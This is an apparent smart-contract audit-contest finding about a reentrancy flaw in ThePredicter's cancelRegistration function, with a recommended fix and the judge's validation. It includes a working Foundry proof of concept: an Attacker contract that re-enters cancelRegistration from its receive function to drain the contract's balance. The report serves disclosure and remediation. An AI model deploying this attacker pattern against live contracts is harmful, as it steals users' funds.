Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack in cancelRegistration()

Relevant GitHub Links

https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L64

Summary

A reentrancy vulnerability has been identified in the cancelRegistration function of the ThePredicter contract. This function is vulnerable to reentrancy attacks, allowing an attacker to drain funds from the contract by repeatedly calling the function before the state updates.

Vulnerability Details

Reentrancy Attack in cancelRegistration. The cancelRegistration function transfers Ether before updating the contract’s state, making it vulnerable to reentrancy attacks. An attacker can exploit this by re-entering the function calls, draining the contract’s funds.

Impact

The likelihood of this attack occurring is high. An attacker could use this reentrancy attack to drain all user funds from the contract, leading to significant financial losses for both the platform and its users.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract Attacker {
ThePredicter public target;
constructor(address _target) {
target = ThePredicter(_target);
}
function attack() public payable {
target.register{value: msg.value}();
target.cancelRegistration();
}
receive() external payable {
if (address(target).balance > 0) {
target.cancelRegistration();
}
}
}
contract ThePredicterTest is Test {
ThePredicter public thePredicter;
Attacker public attacker;
ScoreBoard public scoreBoard;
function setUp() public {
scoreBoard = new ScoreBoard();
//The entrance fees and the prediction fee is considered to be 0.04 ether and 0.0001 ether respectively because these values were used in the ThePredicter.test.sol file
thePredicter = new ThePredicter(address(scoreBoard), 0.04 ether, 0.0001 ether);
attacker = new Attacker(address(thePredicter));
}
function testReentrancyAttack() public {
vm.deal(address(thePredicter), 10 ether);
vm.deal(address(attacker), 1 ether);
vm.startPrank(address(attacker));
attacker.attack{value: 0.04 ether}();
vm.stopPrank();
assertEq(address(thePredicter).balance, 0);
}
}

Tools Used

Foundry, Manual review.

Recommendations

Follow Checks-Effects-Interactions Pattern:
• Checks: Validate conditions and inputs.
• Effects: Update the state of the contract.
• Interactions: Interact with other contracts or external entities.
By following this pattern, we can prevent reentrancy attacks because the contract state is updated before making external calls.

Here’s how it applies to the cancelRegistration function:

function cancelRegistration() public {
// Check: Ensure the player is registered
if (playersStatus\[msg.sender] == Status.Pending) {
// Effect: Update the player's status before transferring funds
playersStatus\[msg.sender] = Status.Canceled;
// Interaction: Transfer funds
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
} else {
revert ThePredicter__NotEligibleForWithdraw();
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.